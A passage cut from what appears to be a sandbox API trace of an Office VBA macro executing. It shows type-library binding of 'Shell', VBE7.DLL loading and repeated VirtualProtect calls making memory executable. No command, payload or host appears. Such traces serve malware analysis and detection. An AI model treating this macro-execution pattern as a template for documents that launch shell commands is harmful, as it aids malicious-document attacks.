pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02f7a, cbMultiByte=6, lpWideCharStr=0x124fe0, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0053.618] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x124f98, pDescKind=0x124fac, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124f98*=0x69b28a8, pDescKind=0x124fac*=1, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.618] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b28a8, ppTypeAttr=0x124fa0, pDummy=0x1 | out: ppTypeAttr=0x124fa0, pDummy=0x1) returned 0x0 [0053.618] ITypeInfo:LocalReleaseTypeAttr (This=0x69b28a8) returned 0x0 [0053.618] ITypeInfo:GetRefTypeInfo (in: This=0x69b28a8, hreftype=0x400, ppTInfo=0x124cd8 | out: ppTInfo=0x124cd8*=0x69b2900) returned 0x0 [0053.618] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ea8 | out: ppvObject=0x124ea8*=0x0) returned 0x80004002 [0053.618] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b2900, ppTypeAttr=0x124d28, pDummy=0x10 | out: ppTypeAttr=0x124d28, pDummy=0x10) returned 0x0 [0053.618] ITypeInfo:LocalReleaseTypeAttr (This=0x69b2900) returned 0x0 [0053.618] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124a30 | out: ppvObject=0x124a30*=0x0) returned 0x80004002 [0053.618] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124a20 | out: ppvObject=0x124a20*=0x0) returned 0x80004002 [0053.618] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124a28 | out: ppvObject=0x124a28*=0x0) returned 0x80004002 [0053.618] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b2900, ppTypeAttr=0x124a58, pDummy=0x10 | out: ppTypeAttr=0x124a58, pDummy=0x10) returned 0x0 [0053.618] ITypeInfo:LocalReleaseTypeAttr (This=0x69b2900) returned 0x0 [0053.618] IUnknown:AddRef (This=0x69b2900) returned 0x2 [0053.618] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124bd0 | out: ppvObject=0x124bd0*=0x0) returned 0x80004002 [0053.618] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124bc8 | out: ppvObject=0x124bc8*=0x0) returned 0x80004002 [0053.618] IUnknown:Release (This=0x69b2900) returned 0x1 [0053.618] IMalloc:Realloc (This=0x7feffc15380, pv=0x291f90, cb=0x800) returned 0x6445640 [0053.618] IUnknown:Release (This=0x69b2900) returned 0x1 [0053.618] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124d40 | out: ppvObject=0x124d40*=0x69b28a8) returned 0x0 [0053.618] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b28a8, memid=1610612745, invkind=1, pFuncIndex=0x124d38 | out: pFuncIndex=0x124d38*=0x9) returned 0x0 [0053.619] ITypeInfo2:GetParamCustData (in: This=0x69b28a8, indexFunc=0x9, indexParam=0x1, GUID=0x7fee4b44e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x124d48 | out: pVarVal=0x124d48*(varType=0x0, wReserved1=0x644, wReserved2=0x0, wReserved3=0x0, varVal1=0x6a09400, varVal2=0x125a58)) returned 0x0 [0053.619] IUnknown:Release (This=0x69b28a8) returned 0x3 [0053.619] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124e00 | out: ppvObject=0x124e00*=0x69b28a8) returned 0x0 [0053.619] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b28a8, memid=1610612745, invkind=1, pFuncIndex=0x124e40 | out: pFuncIndex=0x124e40*=0x9) returned 0x0 [0053.619] ITypeInfo2:GetFuncCustData (in: This=0x69b28a8, index=0x9, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124e58 | out: pVarVal=0x124e58*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x10d756)) returned 0x0 [0053.619] IUnknown:Release (This=0x69b28a8) returned 0x3 [0053.619] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124cf8 | out: ppvObject=0x124cf8*=0x0) returned 0x80004002 [0053.619] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124db8 | out: ppvObject=0x124db8*=0x0) returned 0x80004002 [0053.619] IUnknown:QueryInterface (in: This=0x69b2900, riid=0x7fee4b42aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124c90 | out: ppvObject=0x124c90*=0x0) returned 0x80004002 [0053.619] IUnknown:Release (This=0x69b2900) returned 0x1 [0053.619] IUnknown:AddRef (This=0x69b28a8) returned 0x4 [0053.619] ITypeInfo:LocalReleaseFuncDesc (This=0x69b28a8) returned 0x0 [0053.619] IUnknown:Release (This=0x69b28a8) returned 0x3 [0053.619] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250c8 | out: ppvObject=0x1250c8*=0x0) returned 0x80004002 [0053.619] IUnknown:AddRef (This=0x69b28a8) returned 0x4 [0053.619] IUnknown:Release (This=0x69b28a8) returned 0x3 [0053.619] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125238 | out: ppvObject=0x125238*=0x0) returned 0x80004002 [0053.619] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125230 | out: ppvObject=0x125230*=0x0) returned 0x80004002 [0053.619] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b28a8, ppTLib=0x124a70, pIndex=0x0 | out: ppTLib=0x124a70*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.619] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124a80, pDummy=0x0 | out: ppTLibAttr=0x124a80, pDummy=0x0) returned 0x0 [0053.619] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.619] IUnknown:Release (This=0x677d9c0) returned 0xb [0053.619] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612745, invkind=1, refPtrFlags=0x124a70, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.619] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124a70, pbstrName=0x0, pwOrdinal=0x124a90 | out: pBstrDllName=0x124a70*=0x0, pbstrName=0x0, pwOrdinal=0x124a90*=0x4d00) returned 0x0 [0053.619] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124a70, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124a70, pwOrdinal=0x500000000) returned 0x0 [0053.619] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.619] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.619] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.619] GetCurrentProcess () returned 0xffffffffffffffff [0053.620] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x43) returned 1 [0053.620] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.620] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a94960, cb=0x618) returned 0x6aa7f40 [0053.620] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b28a8, ppTLib=0x124cb0, pIndex=0x0 | out: ppTLib=0x124cb0*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.620] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124cc0, pDummy=0x0 | out: ppTLibAttr=0x124cc0, pDummy=0x0) returned 0x0 [0053.620] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.620] IUnknown:Release (This=0x677d9c0) returned 0xb [0053.620] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612738, invkind=1, refPtrFlags=0x124cb0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.620] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124cb0, pbstrName=0x0, pwOrdinal=0x124cd0 | out: pBstrDllName=0x124cb0*=0x0, pbstrName=0x0, pwOrdinal=0x124cd0*=0x4f40) returned 0x0 [0053.620] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124cb0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124cb0, pwOrdinal=0x500000000) returned 0x0 [0053.620] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856688, ppTypeAttr=0x124a98, pDummy=0x124b64 | out: ppTypeAttr=0x124a98, pDummy=0x124b64*=0x0) returned 0x0 [0053.621] ITypeInfo:LocalReleaseTypeAttr (This=0x6856688) returned 0x0 [0053.621] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69ea5a0 [0053.621] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] GetCurrentProcess () returned 0xffffffffffffffff [0053.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x4c) returned 1 [0053.621] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.621] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856738, ppTypeAttr=0x124aa0, pDummy=0x0 | out: ppTypeAttr=0x124aa0, pDummy=0x0) returned 0x0 [0053.621] ITypeInfo:LocalReleaseTypeAttr (This=0x6856738) returned 0x0 [0053.621] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] GetCurrentProcess () returned 0xffffffffffffffff [0053.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x4c) returned 1 [0053.621] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.621] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x124ce0, pDummy=0x0 | out: ppTypeAttr=0x124ce0, pDummy=0x0) returned 0x0 [0053.621] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.621] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] GetCurrentProcess () returned 0xffffffffffffffff [0053.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x54) returned 1 [0053.621] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.621] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124d10, pDummy=0x0 | out: ppTypeAttr=0x124d10, pDummy=0x0) returned 0x0 [0053.621] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.621] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.621] GetCurrentProcess () returned 0xffffffffffffffff [0053.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x54) returned 1 [0053.621] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.621] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124ad0, pDummy=0x0 | out: ppTypeAttr=0x124ad0, pDummy=0x0) returned 0x0 [0053.621] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.621] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b28a8, ppTLib=0x124e40, pIndex=0x0 | out: ppTLib=0x124e40*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.622] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124e50, pDummy=0x0 | out: ppTLibAttr=0x124e50, pDummy=0x0) returned 0x0 [0053.622] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.622] IUnknown:Release (This=0x677d9c0) returned 0xb [0053.622] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612745, invkind=1, refPtrFlags=0x124e40, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.622] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124e40, pbstrName=0x0, pwOrdinal=0x124e60 | out: pBstrDllName=0x124e40*=0x0, pbstrName=0x0, pwOrdinal=0x124e60*=0x50d0) returned 0x0 [0053.622] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124e40, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124e40, pwOrdinal=0x500000000) returned 0x0 [0053.622] IMalloc:Realloc (This=0x7feffc15380, pv=0x645f110, cb=0x4ae) returned 0x69f7ff0 [0053.622] IMalloc:Free (This=0x7feffc15380, pv=0x69d7130) [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e41, dwSize=0x8) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e40, dwSize=0x8) returned 1 [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99399, dwSize=0x8) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99398, dwSize=0x8) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a993a8, dwSize=0x2) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a993fc, dwSize=0x55) returned 1 [0053.622] VirtualProtect (in: lpAddress=0x6a993fc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x1251bc | out: lpflOldProtect=0x1251bc*=0x40) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e41, dwSize=0x8) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e40, dwSize=0x8) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e50, dwSize=0x2) returned 1 [0053.622] GetCurrentProcess () returned 0xffffffffffffffff [0053.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99ea4, dwSize=0x45) returned 1 [0053.622] VirtualProtect (in: lpAddress=0x6a99ea4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1251bc | out: lpflOldProtect=0x1251bc*=0x40) returned 1 [0053.623] GetCurrentProcess () returned 0xffffffffffffffff [0053.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99f2c, dwSize=0x45) returned 1 [0053.623] VirtualProtect (in: lpAddress=0x6a99f2c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1251bc | out: lpflOldProtect=0x1251bc*=0x40) returned 1 [0053.623] GetCurrentProcess () returned 0xffffffffffffffff [0053.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f165c, dwSize=0x54) returned 1 [0053.623] RtlLookupFunctionEntry (in: ControlPc=0x69f165c, ImageBase=0x1250a8, HistoryTable=0x1250b0 | out: ImageBase=0x1250a8, HistoryTable=0x1250b0) returned 0x0 [0053.623] VirtualProtect (in: lpAddress=0x69f165c, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x1251ac | out: lpflOldProtect=0x1251ac*=0x4) returned 1 [0053.623] RtlAddFunctionTable (FunctionTable=0x69f16c0, EntryCount=0x1, BaseAddress=0x69f1600, TargetGp=0x1251ac) returned 1 [0053.623] SetErrorMode (uMode=0x8001) returned 0x8005 [0053.623] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0053.623] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0053.623] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10017148000001b3) returned 1 [0053.623] SetErrorMode (uMode=0x8005) returned 0x8005 [0053.624] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x2cc) returned 0x7fee4ad24c8 [0053.624] GetCurrentProcess () returned 0xffffffffffffffff [0053.624] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f11b4, dwSize=0x4b) returned 1 [0053.624] RtlLookupFunctionEntry (in: ControlPc=0x69f11b4, ImageBase=0x125048, HistoryTable=0x125050 | out: ImageBase=0x125048, HistoryTable=0x125050) returned 0x0 [0053.624] VirtualProtect (in: lpAddress=0x69f11b4, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x12514c | out: lpflOldProtect=0x12514c*=0x40) returned 1 [0053.624] RtlAddFunctionTable (FunctionTable=0x69f120c, EntryCount=0x1, BaseAddress=0x69f1100, TargetGp=0x12514c) returned 1 [0053.624] GetCurrentProcess () returned 0xffffffffffffffff [0053.624] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0fac, dwSize=0x4c) returned 1 [0053.624] RtlLookupFunctionEntry (in: ControlPc=0x69f0fac, ImageBase=0x1250a8, HistoryTable=0x1250b0 | out: ImageBase=0x1250a8, HistoryTable=0x1250b0) returned 0x0 [0053.624] VirtualProtect (in: lpAddress=0x69f0fac, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1251ac | out: lpflOldProtect=0x1251ac*=0x4) returned 1 [0053.624] RtlAddFunctionTable (FunctionTable=0x69f1008, EntryCount=0x1, BaseAddress=0x69f0f00, TargetGp=0x1251ac) returned 1 [0053.624] GetCurrentProcess () returned 0xffffffffffffffff [0053.624] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0d1c, dwSize=0x4c) returned 1 [0053.624] RtlLookupFunctionEntry (in: ControlPc=0x69f0d1c, ImageBase=0x1250a8, HistoryTable=0x1250b0 | out: ImageBase=0x1250a8, HistoryTable=0x1250b0) returned 0x0 [0053.624] VirtualProtect (in: lpAddress=0x69f0d1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1251ac | out: lpflOldProtect=0x1251ac*=0x40) returned 1 [0053.624] RtlAddFunctionTable (FunctionTable=0x69f0d78, EntryCount=0x1, BaseAddress=0x69f0c00, TargetGp=0x1251ac) returned 1 [0053.624] GetCurrentProcess () returned 0xffffffffffffffff [0053.624] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0acc, dwSize=0x54) returned 1 [0053.624] RtlLookupFunctionEntry (in: ControlPc=0x69f0acc, ImageBase=0x1250a8, HistoryTable=0x1250b0 | out: ImageBase=0x1250a8, HistoryTable=0x1250b0) returned 0x0 [0053.624] VirtualProtect (in: lpAddress=0x69f0acc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x1251ac | out: lpflOldProtect=0x1251ac*=0x40) returned 1 [0053.624] RtlAddFunctionTable (FunctionTable=0x69f0b30, EntryCount=0x1, BaseAddress=0x69f0a00, TargetGp=0x1251ac) returned 1 [0053.624] SetErrorMode (uMode=0x8001) returned 0x8005 [0053.624] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0053.624] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0053.625] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10017148000001b4) returned 1 [0053.625] SetErrorMode (uMode=0x8005) returned 0x8005 [0053.625] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x258) returned 0x7fee4894ee0 [0053.625] GetCurrentProcess () returned 0xffffffffffffffff [0053.625] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f08b4, dwSize=0x43) returned 1 [0053.625] RtlLookupFunctionEntry (in: ControlPc=0x69f08b4, ImageBase=0x125048, HistoryTable=0x125050 | out: ImageBase=0x125048, HistoryTable=0x125050) returned 0x0 [0053.625] VirtualProtect (in: lpAddress=0x69f08b4, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x12514c | out: lpflOldProtect=0x12514c*=0x40) returned 1 [0053.625] RtlAddFunctionTable (FunctionTable=0x69f0904, EntryCount=0x1, BaseAddress=0x69f0800, TargetGp=0x12514c) returned 1 [0053.625] IUnknown:AddRef (This=0x6856a50) returned 0x9 [0053.625] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126578 | out: ppvObject=0x126578*=0x0) returned 0x80004002 [0053.625] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126570 | out: ppvObject=0x126570*=0x0) returned 0x80004002 [0053.625] IUnknown:Release (This=0x6856a50) returned 0x8 [0053.625] IUnknown:AddRef (This=0x69fd518) returned 0x6 [0053.625] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126578 | out: ppvObject=0x126578*=0x0) returned 0x80004002 [0053.625] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126570 | out: ppvObject=0x126570*=0x0) returned 0x80004002 [0053.625] IUnknown:Release (This=0x69fd518) returned 0x5 [0053.625] IUnknown:AddRef (This=0x69b28a8) returned 0x4 [0053.625] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126578 | out: ppvObject=0x126578*=0x0) returned 0x80004002 [0053.625] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b40b98*(Data1=0xcacc1e83, 